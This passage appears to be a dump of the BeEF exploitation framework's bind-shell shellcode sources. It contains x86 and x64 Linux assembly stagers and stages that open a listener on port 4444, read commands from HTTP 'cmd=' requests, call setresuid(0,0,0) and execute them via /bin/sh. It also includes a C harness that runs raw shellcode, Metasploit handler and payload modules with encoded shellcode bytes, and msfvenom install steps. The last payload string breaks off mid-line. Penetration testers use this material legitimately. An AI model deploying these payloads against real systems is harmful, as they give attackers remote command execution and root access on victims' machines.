    	test r14, r14 ;create 2 pipes 
    	je endcreatepipes
    	jmp createpipes
    
    endcreatepipes:
    	;sys_fork
    	push BYTE 0x39
    	pop rax
    	syscall
    	cmp eax, 0x00 ;parent or child?
    	je child
    
    	xor rdi, rdi ; zero rdi
    	mov edi, DWORD [rsp+0x8] ; close read end of one pipe
    	push BYTE 0x03
    	pop rax ;sys_close
    	syscall
    
    	mov edi, DWORD [rsp+0x4] ;close write end of the other pipe
    	push BYTE 0x03
    	pop rax ;sys_close
    	syscall
    
    	;make non-blocking
    	mov edi, DWORD [rsp] ;fd
    	push BYTE 0x04
    	pop rsi ;F_SETFL
    	xor rdx, rdx
    	mov rdx, 0x800 ;O_NONBLOCK
    	push BYTE 0x48
    	pop rax ; sys_fcntl
    	syscall	
    
    
    	;allocate one page of memory
    	xor rdi,rdi ;system determines location
    	push 0x1000 ;allocated size
    	pop rsi
    	push BYTE 0x07
    	pop rdx ;PROT_READ | PROT_WRITE | PROT_EXEC
    	push BYTE 0x22
    	pop r10 ; MAP_ANONYMOUS | MAP_PRIVATE
    	push rdi
    	push rdi
    	pop r9 ;offset
    	pop r8 ;fd
    	push BYTE 0x09
    	pop rax
    	syscall
    	mov r14, rax ;save pointer allocated memory for later use
    
    doforever:
    	;initialize socket
    	xor rdx, rdx ;zero rdx (proto =0)
    	push BYTE 0x01
    	pop rsi ;SOCK_STREAM
    	push BYTE 0x02
    	pop rdi ;AF_INET = 2
    	push BYTE 0x29
    	pop rax ;sys_socket
    	syscall
    	mov rbx, rax ; save socket filediscriptor
    
    	;reuse socket
    	push 0x01  ;true
    	mov r10, rsp ;ptr to optval
    	push BYTE 0x08
    	pop r8 ;sizeof socklen_t
    	push BYTE 0x02
    	pop rdx  ;SO_REUSEADDR = 2
    	push BYTE 0x01
    	pop rsi ;SOL_SOCKET = 1	
    	mov rdi, rbx ;socketfd
    	push BYTE 0x36 ;sys_setsockopt
    	pop rax
    	syscall
    
    	pop rax ;clean stack
    
    
    	;bind socket to port
    	xor rax,rax
    	push BYTE 0x10
    	pop rdx ;addrlen
    	push rax
    	push rax
    	mov DWORD [rsp], 0x5C110002 ;PORT 0x115c = 4444
    	mov rsi, rsp ;ptr to sokaddr
    	mov rdi, rbx ;socketfd
    	push BYTE 0x31
    	pop rax ;sys_bind
    	syscall
    
    	pop rax ;clean stack
    	pop rax
    
    	;listen 
    	xor rsi, rsi ;backlog ptr = NULL
    	mov rdi, rbx ;socketfd
    	push BYTE 0x32
    	pop rax ;sys_listen
    	syscall
    
    	;accept
    	xor rdx,rdx ;addrlen ptr = NULL
    	xor rsi,rsi ;sockaddr ptr = NULL
    	mov rdi, rbx ;socketfd
    	push BYTE 0x2b
    	pop rax ;sys_accept
    	syscall
    
    	mov r15, rax ;save client socket fd for later use
    
    	;close serversocket
    	mov rdi, rbx ;close server socket fd
    	push BYTE 0x03
    	pop rax ;sys_close
    	syscall 
    
    
    	mov rcx, 0x1000 ;pagesize
    firstzeromemory:
    	;zero out memory
    	dec rcx
    	mov rbx, r14
    	add rbx, rcx
    	mov BYTE [rbx], 0x00
    	jrcxz readfromsocket
    	jmp firstzeromemory 	
    
    readfromsocket:
    	xor rdx, rdx
    
    	;read into allocated memory
    	mov rdi, r15 ;client socketfd
    	mov rsi, r14 ;ptr to allocated memory
    	mov dx, 0x400 ;read 1024 bytes
    	push BYTE 0x00
    	pop rax ;sys_read
    	syscall
    
    	mov rcx, 0x400 ;search in 1024 bytes 
    	mov rbx, r14 ;ptr to allocated memory
    search:
    	cmp DWORD[rbx], 0x3d646d63 ;compare with "cmd="
    	je found ;cmd= found
    	inc rbx
    	dec rcx
    	jrcxz notfound ;cmd= not in received buffer
    	jmp search ;search some more
    found:
    	xor rdi, rdi
    	mov rcx, rbx 
    	add rcx, 0x03 ;skip "cmd"
    	mov rsi, rcx
    	mov edi, DWORD [rsp+0xC] ;write to pipe
    sendcommand:
    	inc rsi ;first time skip "=", move to next byte
    	push BYTE 0x01
    	pop rdx ;write one byte
    	push BYTE 0x01
    	pop rax ;sys_write
    	syscall
    	cmp BYTE [rsi], 0x0a ;LF character?
    	jne sendcommand ;else continue write to pipe
    
    	;sleep one second
    	push BYTE 0x23
    	pop rax ;sys_nanosleep
    	push DWORD 0x00
    	push DWORD 0x01 ;one second
    	mov rdi, rsp ;ptr to argument array
    	xor rsi, rsi ;NULL
    	syscall
    
    	pop rax ;clean stack
    	pop rax
    
    notfound:
    	call writehttpheaders
    	db 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20,0x32,0x30,0x30,0x20,0x4f,0x4b,0x0d,0x0a
    	db 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x0d,0x0a
    	db 0x41,0x63,0x63,0x65,0x73,0x73,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x2d,0x41,0x6c,0x6c,0x6f,0x77,0x2d,0x4f,0x72,0x69,0x67,0x69,0x6e,0x3a,0x20,0x2a,0x0d,0x0a
    	db 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x33,0x30,0x34,0x38,0x0d,0x0a,0x0d,0x0a
    
    writehttpheaders:
    	pop rsi ;source address saved by call
    	mov rdi, r14 ;ptr to allocated memory
    	add rdi, 0x400 ;skip 1024 bytes
    	mov rcx, 0x62 ;copy 98 bytes
    	rep movsb
    
    	xor rdi, rdi ;zero rdi
    	mov edi, DWORD [rsp] ;read from pipe
    	mov rsi, r14 ;ptr to allocated memory
    	add rsi, 0x400 ;skip 1024 bytes
    	add rsi, 0x62 ;skip header
    	mov rdx, 0xb86 ;read max 2950 bytes	
    	xor rax,rax ;sys_read
    	syscall
    
    
    	mov rdi, r15 ;clientsocket fd
    	mov rsi, r14 ;ptr to allocated memory
    	add rsi, 0x400 ;skip 1024 first bytes
    	mov rdx, 0xbe8 ;send max 3048 bytes
    	push BYTE 0x01
    	pop rax ;sys_write
    	syscall
    
    	mov rdi, r15 ;close clientsocket fd
    	push BYTE 0x03
    	pop rax ;sys_close
    	syscall
    	
    	jmp doforever
    child:
    	xor rdi, rdi 
    	mov edi, DWORD [rsp+0xc] ;close output side of pipe
    	push BYTE 0x03
    	pop rax ;sys_close
    	syscall
    
    	xor rdi, rdi ;close stdin
    	push BYTE 0x03
    	pop rax ;sys_close
    	syscall
    
    	mov edi, DWORD [rsp+0x08] ;dup input side to stdin
    	push BYTE 0x20
    	pop rax ;sys_dup
    	syscall
    
    
    	mov edi, DWORD [rsp] ;close input side of other pipe
    	push BYTE 0x03
    	pop rax ;sys_close
    	syscall
    
    	xor rdi, rdi
    	inc rdi ;close stdout
    	push BYTE 0x03
    	pop rax ;sys_close
    	syscall
    
    	mov edi, DWORD [rsp+0x4] ;dup output side to stdout
    	push BYTE 0x20
    	pop rax ;sys_dup
    	syscall
    
    	;setresuid(0,0,0)
    	xor rdi, rdi
    	xor rsi, rsi
    	xor rdx, rdx
    	push BYTE 0x75
    	pop rax ;sys_resuid
    	syscall
    
    	push BYTE 0x3b
    	pop rax ;sys_execve
    	mov rdi, 0x0068732f6e69622f ;/bin/shNULL
    	push rdi ;push to stack
    	mov rdi, rsp ;ptr to stack
    	xor rsi, rsi ;NULL
    	xor rdx, rdx ;NULL
    	syscall
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/linux/x64/stager64.nasm
    ================================================
    BITS 64
    
    SECTION .text
    global _start
    _start:
    	cld ;clear direction flag
    	xor rdx, rdx ;zero rdx (proto=0)
    	push BYTE 0x01
    	pop rsi ;SOCK_STREAM
    	push BYTE 0x02
    	pop rdi ;AF_INET = 2
    	push BYTE 0x29
    	pop rax ;sys_socket
    	syscall
    	mov rbx, rax ; save socket filediscriptor
    
    	;reuse socket
    	push 0x01  ;true
    	mov r10, rsp ;ptr to optval
    	push BYTE 0x08
    	pop r8 ;sizeof socklen_t
    	push BYTE 0x02
    	pop rdx ;SO_REUSEADDR = 2
    	push BYTE 0x01
    	pop rsi ;SOL_SOCKET = 1
    	mov rdi, rbx ;socketfd
    	push BYTE 0x36 ;sys_setsockopt
    	pop rax
    	syscall
    
    	xor rax,rax
    	push BYTE 0x10
    	pop rdx ;addrlen
    	push rax
    	push rax
    	mov DWORD [rsp], 0x5c110002 ;PORT 0x115c = 4444
    	mov rsi, rsp ;ptr to sokaddr
    	mov rdi, rbx ;socketfd
    	push BYTE 0x31
    	pop rax ;sys_bind
    	syscall
    
    	xor rsi, rsi ;backlog ptr = NULL
    	mov rdi, rbx ;socketfd
    	push BYTE 0x32
    	pop rax ;sys_listen
    	syscall
    
    	;accept
    	xor rdx,rdx ;addrlen ptr = NULL
    	xor rsi,rsi ;sockaddr ptr = NULL
    	mov rdi, rbx ;socketfd
    	push BYTE 0x2B
    	pop rax ;sys_accept
    	syscall
    
    	mov r15, rax ;save client socket fd for later use
    
    	mov rdi, rbx ;close server socket fd
    	push BYTE 0x03
    	pop rax ;sys_close
    	syscall 
    
    	;allocate memory
    	
    	xor rdi,rdi ;system determines location
    	push 0x1000 ;allocated size
    	pop rsi
    	push BYTE 0x07
    	pop rdx ;PROT_READ | PROT_WRITE | PROT_EXEC
    	push BYTE 0x22
    	pop r10 ; MAP_ANONYMOUS | MAP_PRIVATE
    	push rdi
    	push rdi
    	pop r9 ;offset
    	pop r8 ;fd
    	push BYTE 0x09
    	pop rax
    	syscall
    	mov r14, rax ;save pointer allocated memory for later use
    
    	;read into allocated memory
    	mov rdi, r15 ;client socketfd
    	mov rsi, r14 ;ptr to allocated memory
    	mov dx, 0x1000 ;read one page of memory
    	push BYTE 0x00
    	pop rax ;sys_read
    	syscall
    
    	;close clientsocketfd
    	mov rdi, r15 ;client socketfd
    	push BYTE 0x03
    	pop rax ;sys_close
    	syscall
    
    	mov rsi, r14 ;ptr to allocated memory
    search:
    	cmp DWORD [rsi], 0x3d646d63 ;compare with "cmd="
    	je short found ;cmd= found
    	inc rsi
    	jmp short search ;search some more
    found:
    	push BYTE 0x04 ;skip "cmd="
    	pop rax
    	add rsi, rax
    	jmp rsi ;jump to stage
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/linux/x86/socket.c
    ================================================
    /**
     Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
     Browser Exploitation Framework (BeEF) - https://beefproject.com
     See the file 'doc/COPYING' for copying permission
     
     The C-skeleton to compile and test this shellcode is used with kind permission of Vivek Ramachandran. A standalone version can be compiled with:
     #gcc -m32 -fno-stack-protector -z execstack -o socket socket.c
    **/
    
    #include 
    #include 
    #include 
    #include 
    
    int (*sc)();
    
    char shellcode[] = "\xfc\x31\xc0\x31\xd2\x6a\x01\x5b\x50\x40\x50\x40\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\xc6\x6a\x0e\x5b\x6a\x04\x54\x6a\x02\x6a\x01\x56\x89\xe1\x6a\x66\x58\xcd\x80\x6a\x02\x5b\x52\x68\x02\x00\x11\x5c\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x43\x53\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x52\x52\x56\x89\xe1\x6a\x66\x58\xcd\x80\x96\x93\xb8\x06\x00\x00\x00\xcd\x80\x6a\x00\x68\xff\xff\xff\xff\x6a\x22\x6a\x07\x68\x00\x10\x00\x00\x6a\x00\x89\xe3\x6a\x5a\x58\xcd\x80\x89\xc7\x66\xba\x00\x10\x89\xf9\x89\xf3\x6a\x03\x58\xcd\x80\x6a\x06\x58\xcd\x80\x81\x3f\x63\x6d\x64\x3d\x74\x03\x47\xeb\xf5\x6a\x04\x58\x01\xc7\xff\xe7";
    
    int main(int argc, char **argv) {
       char *ptr = mmap(0, sizeof(shellcode), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
       if (ptr == MAP_FAILED) {perror("mmap");exit(-1);}
       memcpy(ptr, shellcode, sizeof(shellcode));
       sc = (int(*)())ptr;
       (void)((void(*)())ptr)();
       printf("\n");
       return 0;
    }
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/linux/x86/stage.nasm
    ================================================
    ; Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
    ; Browser Exploitation Framework (BeEF) - https://beefproject.com
    ; See the file 'doc/COPYING' for copying permission
    
    BITS 32
    
    SECTION .text
    
    global _start
    _start:
    	cld ;clear direction flag
    	xor edx, edx ;zero edx
    
    	push BYTE 0x02
    	pop ecx
    	;create two pipes
    createpipes:
    	push edx ;allocate space on stack
    	push edx
    	mov ebx, esp ; ptr to argument array
    	push BYTE 0x2A ;sys_pipe
    	pop eax
    	int 0x80 ;syscall 
    	dec ecx 
    	jcxz endcreatepipes ;jmp when both pipes are created
    	jmp short createpipes ;create next pipe
    
    endcreatepipes:	
    	;create fork	
    	xor ebx, ebx ;zero ebx
    	push BYTE 0x02 ;sys_fork
    	pop eax
    	int 0x80 ;syscall
    	cmp eax, 0x00 ;parent or child
    	je child
    
    	mov ebx, [esp+0x8] ;close read end of one pipe
    	push BYTE 0x06 ;sys_close
    	pop eax
    	int 0x80
    
    	mov ebx, [esp+0x4] ;close write end of the other pipe
    	push BYTE 0x06 ;sys_close
    	pop eax
    	int 0x80
    
    	; make non blocking
    	mov ebx, [esp] ;fd
    	push BYTE 0x04 ;F_SETFL
    	pop ecx
    	push 0x800 ;O_NONBLOCK
    	pop edx
    	push BYTE 0x37 ;sys_fcntl
    	pop eax
    	int 0x80
     
    	;allocate one page of memory
    	push BYTE 0x00 ;offset = 0
    	push 0xffffffff ;fd=-1
    	push BYTE 0x22 ;MAP_ANONYMOUS | MAP_PRIVATE
    	push BYTE 0x07 ;PROT_READ | PROT_WRITE | PROT_EXEC
    	push 0x1000 ;allocated size
    	push 0x00 ;system determines location
    	mov ebx, esp ;ptr to argument array
    	push BYTE 0x5a
    	pop eax
    	int 0x80
    	mov edi, eax ;ptr to allocated memory
    	add esp, 0x18
    	
    doforever:
    	xor edx, edx
    	xor eax, eax
    
    	;initialize socket
    	push BYTE 0x01
    	pop ebx ;SYS_SOCKET
    	push eax ;proto = 0
    	inc eax
    	push eax ;SOCK_STREAM = 1
    	inc eax
    	push eax ;AF_INET = 2
    	mov ecx, esp ;ptr to argument array
    	push BYTE 0x66
    	pop eax ;socketcall is syscall #102
    	int 0x80
    	mov esi, eax ; save socket filedescriptor
    	add esp, 0x0C
    
    	;reuse socket
    	push BYTE 0x0E
    	pop ebx ;SYS_SETSOCKOPT
    	push BYTE 0x04 ;sizeof socklen_t
    	push esp ;address of socklen_t
    	push BYTE 0x02 ;SO_REUSEADDR = 2
    	push BYTE 0x01 ;SOL_SOCKET = 1
    	push esi ;socket fd
    	mov ecx, esp ;ptr to argument array
    	push BYTE 0x66
    	pop eax ;socketcall is syscall #102	
    	int 0x80
    	add esp, 0x14
    
    	;bind socket to port
    	push BYTE 0x02
    	pop ebx ;SYS_BIND
    	push edx ;INADDR_ANY
    	push 0x5c110002 ;PORT 0x115c = 4444
    	mov ecx, esp ;ptr to server struct
    	push BYTE 0x10 ; addrlen
    	push ecx
    	push esi ;socketfd
    	mov ecx, esp ;ptr to argument array
    	push BYTE 0x66
    	pop eax ;socketcall is syscall #102
    	int 0x80
    	add esp, 0x14
    
    	inc ebx
    	inc ebx  ;SYS_LISTEN
    	push ebx ;backlog
    	push esi ;socketfd
    	mov ecx, esp ;ptr to argument array
    	push BYTE 0x66
    	pop eax ; socketcall is syscall #102
    	int 0x80
    	add esp, 0x08
    	
    	inc ebx ;SYS_ACCEPT
    	push edx ;socklen = 0
    	push edx ;sockaddr ptr = NULL
    	push esi ;sockfd
    	mov ecx, esp ;ptr to argumet array
    	push BYTE 0x66
    	pop eax ;socketcall is syscall #102
    	int 0x80
    	add esp, 0x0c
    	
    	xchg esi, eax ;serversocket in eax and clientsocket handler in esi
    	xchg eax, ebx ;serversocket in ebx
    	mov eax, 0x06 ;close serversocket
    	int 0x80
    
    	mov ecx, 0x1000
    firstzeromemory:
    	;zero out memory
    	dec ecx
    	mov ebx, edi
    	add ebx, ecx
    	mov BYTE [ebx], 0x00
    	jecxz readfromsocket
    	jmp firstzeromemory
    
    readfromsocket:
    	;read from socket into memory
    	mov dx, 0x400 ;read 1024 bytes
    	mov ecx, edi ;ptr to allocated memory
    	mov ebx, esi ;clientsocket
    	push BYTE 0x03
    	pop eax ;sys_read
    	int 0x80
    
    	push edi ;ptr to allocate memory
    	push esi ;clientsocket
    	mov ebx, edi ;ptr to allocated memory
    	mov ecx, 0x400 ;search in 1024 bytes
    search:
    	cmp DWORD [ebx], 0x3d646D63 ;compare with "cmd="
    	je found ;cmd= found
    	inc ebx
    	dec ecx
    	jecxz notfound ;cmd= not in received buffer
    	jmp search ;search some more
    
    found:
    	mov ecx, ebx ;put ptr to memory where "cmd=" was found
    	add ecx, 0x03 ;skip "cmd"
    	mov ebx, [esp+0x14] ;write to pipe
    sendcommand:
    	inc ecx ;first time skip "=", move to next byte
    	push BYTE 0x01 ;write one byte
    	pop edx
    	push BYTE 0x04 ;sys_write
    	pop eax
    	int 0x80
    	cmp BYTE [ecx], 0x0a ;LF character?
    	jne sendcommand ;else continue write to pipe
    
    	;sleep one second
    	push 0x00
    	push 0x01 ;one second
    	mov ebx, esp ;ptr to argument array
    	xor ecx, ecx ;NULL
    	mov eax, 0xA2 ;sys_nanosleep
    	int 0x80
    	add esp, 0x08 ;clean up stack	
    
    notfound:
    	call writehttpheaders	
    	db 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20,0x32,0x30,0x30,0x20,0x4f,0x4b,0x0d,0x0a  ;HTTP/1.1 200 OK
    	db 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x0d,0x0a  ;Content-Type: text/html
    	db 0x41,0x63,0x63,0x65,0x73,0x73,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x2d,0x41,0x6c,0x6c,0x6f,0x77,0x2d,0x4f,0x72,0x69,0x67,0x69,0x6e,0x3a,0x20,0x2a,0x0d,0x0a  ;Access-Control-Allow-Origin: *
    	db 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x33,0x30,0x34,0x38,0x0d,0x0a,0x0d,0x0a  ;Content-Length: 3048
    
    writehttpheaders:
    	pop esi ;source address saved by call
    	add edi, 0x400 ;ptr to memory skip 1024 bytes
    	mov ecx, 0x62 ;copy 98 bytes
    	rep movsb
    	
    	pop edi ;restore clientsocket 	
    	pop esi ;restore ptr to memory
    	
    		
    	mov ebx, [esp] ;read from pipe
    	mov ecx, esi ;ptr to memory
    	add ecx, 0x400 ;skip 1024 bytes
    	add ecx, 0x62 ;skip header
    	push 0xB86 ;read max 2950 bytes
    	pop edx
    	push BYTE 0x03 ;sys_read
    	pop eax
    	int 0x80
    
    	mov ebx, edi ;clientsocket
    	mov ecx, esi ;ptr to memory
    	add ecx, 0x400 ;skip 1024 first bytes
    	mov edx, 0xbe8 ;send max 3048 bytes
    	push BYTE 0x04 ;sys_write
    	pop eax
    	int 0x80
    
    	;close clientsocket	
    	push BYTE 0x06 ;sys_close
    	pop eax
    	int 0x80
    
    	mov edi, esi ;restore memory ptr into edi
    	jmp doforever
    
    child:
    	mov ebx, [esp+0xC] ;close output side of pipe 
    	push BYTE 0x06 ;sys_close
    	pop eax
    	int 0x80
    	
    	xor ebx, ebx ;close stdin
    	push BYTE 0x06 ;sys_close
    	pop eax
    	int 0x80
    
    	mov ebx, [esp+0x8] ;dup input side to stdin
    	push BYTE 0x29 ;sys_dup
    	pop eax
    	int 0x80
    	
    	mov ebx, [esp] ;close input side of other pipe
    	push BYTE 0x06
    	pop eax
    	int 0x80
    
    	xor ebx, ebx
    	inc ebx ;close stdout
    	push BYTE 0x06 ;sys_close
    	pop eax
    	int 0x80
    
    	mov ebx, [esp+0x4] ;dup output side to stdout
    	push BYTE 0x29 ;sys_dup
    	pop eax
    	int 0x80
    
    	;setresuid(0,0,0)
    	xor eax, eax
    	xor ebx, ebx
    	xor ecx, ecx
    	xor edx, edx
    	mov al, 0xa4 ;sys_setresuid16
    	int 0x80
    
    	;execve("/bin//sh", 0, 0)	
    	xor eax, eax
    	push eax
    	push eax
    	push 0x68732f2f ;//sh
    	push 0x6e69622f ;/bin
    	mov ebx, esp
    	push BYTE 0x0b ;sys_execve
    	pop eax
    	int 0x80
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/linux/x86/stager.nasm
    ================================================
    ; Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
    ; Browser Exploitation Framework (BeEF) - https://beefproject.com
    ; See the file 'doc/COPYING' for copying permission
    
    BITS 32
    
    SECTION .text
    
    global _start
    _start:
    	cld ;clear direction flag
    	xor eax, eax ;zero eax
    	xor edx, edx ;zero edx
    
    	;initialize socket
    	push BYTE 0x01
    	pop ebx ;SYS_SOCKET
    	push eax ;  proto = 0 
    	inc eax
    	push eax ;SOCK_STREAM = 1
    	inc eax 
    	push eax ;AF_INET = 2
    	mov ecx, esp ; ptr to argument array
    	push BYTE 0x66
    	pop eax ;socketcall is syscall #102	
    	int 0x80
    	mov esi, eax ;save socket filediscriptor
    
    	push BYTE 0x0E
    	pop ebx ;SYS_SETSOCKOPT
    	push BYTE 0x04  ;sizeof socklen_t
    	push esp ; address of socklen_t
    	push BYTE 0x02  ;SO_REUSEADDR = 2
    	push BYTE 0x01 ;SOL_SOCKET = 1
    	push esi ;socket fd
    	mov ecx, esp ;ptr to argument array
    	push BYTE 0x66
    	pop eax ; socketcall is syscall #102
    	int 0x80
    
    	;bind socket to port
    	push BYTE 0x02
    	pop ebx ;SYS_BIND
    	push edx ;INADDR_ANY
    	push 0x5c110002 ;PORT 0x115C = 4444
    	mov ecx, esp ;server struct
    	push BYTE 0x10 ;addrlen
    	push ecx
    	push esi ;socketfd
    	mov ecx, esp ; ptr to argument array
    	push BYTE 0x66
    	pop eax ;socketcall is syscall #102
    	int 0x80
    
    	inc ebx
    	inc ebx ;SYS_LISTEN
    	push ebx ;backlog
    	push esi ;socketfd
    	mov ecx, esp ;ptr to argument array
    	push BYTE 0x66
    	pop eax ;socketcall is syscall #102
    	int 0x80
    
    	inc ebx ;SYS_ACCEPT
    	push edx ;socklen = 0
    	push edx ;sockaddr ptr = NULL
    	push esi ;socketfd
    	mov ecx, esp ; ptr to argument array
    	push BYTE 0x66
    	pop eax ;socketcall is syscall #102
    	int 0x80
    
    	xchg esi, eax ;serversocket in eax and client socket handler into esi
    	xchg eax, ebx ;serversocket in ebx
    	mov eax, 0x6 ;close serversocket
    	int 0x80
    
    	push BYTE 0x00 ;offset =0
    	push 0xFFFFFFFF ;fd = -1
    	push BYTE 0x22 ;MAP_ANONYMOUS | MAP_PRIVATE
    	push BYTE 0x07 ;PROT_READ | PROT_WRITE | PROT_EXEC
    	push 0x1000 ;allocated size
    	push BYTE 0x00 ;system determines location
    	mov ebx, esp ;ptr tot argument array
    	push BYTE 0x5a
    	pop eax ;MMAP call
    	int 0x80
    	mov edi, eax ;ptr to allocated memory
    
    	; read from socket into memory
    	mov dx, 0x1000 ;max bytes to read
    	mov ecx, edi ;pointer to memory
    	mov ebx, esi ;clientsocket
    	push BYTE 0x03
    	pop eax
    	int 0x80	
    
    	push BYTE 0x06
    	pop eax ;close clientsocket
    	int 0x80
    
    search:
    	cmp DWORD [edi], 0x3d646d63 ;compare with "cmd="
    	je short found ;jump if found
    	inc edi ;look some further
    	jmp short search
    found:
    	push BYTE 0x04 
    	pop eax
    	add edi, eax ;skip "cmd="
    	jmp edi ;jump to the staged shellcode
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/msf/README.md
    ================================================
    # Metasploit BeEF Bind Payloads
    
    Note: the paths specified below relate to the Metasploit installation directory
    on Kali Linux. The paths may differ on your system.
    
    ## Install Handler
    
    Installing BeEF Bind payloads requires also installing a custom handler into framework:
    
    ```sh
    sudo cp beef_bind-handler.rb /usr/share/metasploit-framework/lib/msf/core/handler/beef_bind.rb
    ```
    
    ## Install Payloads
    
    Payloads can be installed into the Metasploit Framework installation directory
    (for all users) or user's home directory `~/.msf4/modules/payloads/...`.
    
    ```sh
    cp beef_bind-stage-windows-x86.rb /usr/share/metasploit-framework/modules/payloads/stages/windows/beef_shell.rb
    cp beef_bind-stager-windows-x86.rb /usr/share/metasploit-framework/modules/payloads/stagers/windows/beef_bind.rb
    
    cp beef_bind-stage-linux-x86.rb /usr/share/metasploit-framework/modules/payloads/stages/linux/x86/beef_shell.rb
    cp beef_bind-stager-linux-x86.rb /usr/share/metasploit-framework/modules/payloads/stagers/linux/x86/beef_bind.rb
    
    cp beef_bind-stage-linux-x64.rb /usr/share/metasploit-framework/modules/payloads/stages/linux/x64/beef_shell.rb
    cp beef_bind-stager-linux-x64.rb /usr/share/metasploit-framework/modules/payloads/stagers/linux/x64/beef_bind.rb
    ```
    
    ## Generating Payloads
    
    Check it works:
    
    ```sh
    msfvenom -l payloads | grep beef_bind
    ```
    
    Dump stager and stage in C format:
    
    ```sh
    msfvenom -p windows/beef_shell/beef_bind --format C
    ```
    
    Dump stager in raw format:
    
    ```sh
    msfvenom -p windows/beef_shell/beef_bind R > beef_bind-stager
    ```
    
    Encode stager to remove nulls:
    
    ```sh
    msfvenom -p windows/beef_shell/beef_bind R --bad-chars '\x00' > beef_bind-stager-nonull
    ```
    
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/msf/beef_bind-handler.rb
    ================================================
    ##
    # $Id: beef_bind-handler.rb 121018 Ty Miller @ Threat Intelligence$
    ##
    
    module Msf
      module Handler
        ###
        #
        # This module implements the Bind TCP handler placeholder only.
        #
        ###
        module BeefBind
          include Msf::Handler
    
          #
          # Returns the handler specific string representation
          #
          def self.handler_type
            'beef_bind'
          end
    
          #
          # Returns the connection oriented general handler type
          #
          def self.general_handler_type
            'bind'
          end
    
          #
          # Initializes a bind handler and adds the options common to all bind
          # payloads, such as local port.
          #
          def initialize(info = {})
            super
            register_options(
              [
                Opt::LPORT(4444)
                # OptAddress.new('RHOST', [false, 'The target address', '']),
              ], Msf::Handler::BeefBind
            )
          end
    
          #
          # Placeholder only
          #
          def cleanup_handler; end
    
          #
          # Placeholder only
          #
          def add_handler(_opts = {})
            # Start a new handler
            start_handler
          end
    
          #
          # Placeholder only
          #
          def start_handler; end
    
          #
          # Placeholder only
          #
          def stop_handler; end
        end
      end
    end
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-linux-x64.rb
    ================================================
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'msf/base/sessions/command_shell'
    require 'msf/base/sessions/command_shell_options'
    
    module MetasploitModule
      include Msf::Payload::Linux
      include Msf::Sessions::CommandShellOptions
    
      def initialize(info = {})
        super(merge_info(info,
                         'Name' => 'BeEF Bind Linux Command Shell Stage (stage x64)',
                         'Description' => 'Spawn a piped command shell (staged) with an HTTP interface',
                         'Author' => ['Bart Leppens'],
                         'License' => BSD_LICENSE,
                         'Platform' => 'linux',
                         'Arch' => ARCH_X64,
                         'Session' => Msf::Sessions::CommandShell,
                         'PayloadCompat' =>
                            {
                              'Convention' => 'beef_bind'
                            },
                         'Stage' =>
                            {
                              'Offsets' =>
                                 {
                                   'LPORT' => [165, 'n']
                                 },
                              'Payload' =>
                                "\xfc\x48\x31\xd2\x6a\x02\x41\x5e\x52\x48\x89\xe7\x6a\x16\x58\x0f" \
                                "\x05\x49\xff\xce\x4d\x85\xf6\x74\x02\xeb\xed\x6a\x39\x58\x0f\x05" \
                                "\x83\xf8\x00\x0f\x84\xdd\x01\x00\x00\x48\x31\xff\x8b\x7c\x24\x08" \
                                "\x6a\x03\x58\x0f\x05\x8b\x7c\x24\x04\x6a\x03\x58\x0f\x05\x8b\x3c" \
                                "\x24\x6a\x04\x5e\x48\x31\xd2\xba\x00\x08\x00\x00\x6a\x48\x58\x0f" \
                                "\x05\x48\x31\xff\x68\x00\x10\x00\x00\x5e\x6a\x07\x5a\x6a\x22\x41" \
                                "\x5a\x57\x57\x41\x59\x41\x58\x6a\x09\x58\x0f\x05\x49\x89\xc6\x48" \
                                "\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x89\xc3" \
                                "\x6a\x01\x49\x89\xe2\x6a\x08\x41\x58\x6a\x02\x5a\x6a\x01\x5e\x48" \
                                "\x89\xdf\x6a\x36\x58\x0f\x05\x58\x48\x31\xc0\x6a\x10\x5a\x50\x50" \
                                "\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x48\x89\xdf\x6a\x31\x58" \
                                "\x0f\x05\x58\x58\x48\x31\xf6\x48\x89\xdf\x6a\x32\x58\x0f\x05\x48" \
                                "\x31\xd2\x48\x31\xf6\x48\x89\xdf\x6a\x2b\x58\x0f\x05\x49\x89\xc7" \
                                "\x48\x89\xdf\x6a\x03\x58\x0f\x05\xb9\x00\x10\x00\x00\x48\xff\xc9" \
                                "\x4c\x89\xf3\x48\x01\xcb\xc6\x03\x00\xe3\x02\xeb\xf0\x48\x31\xd2" \
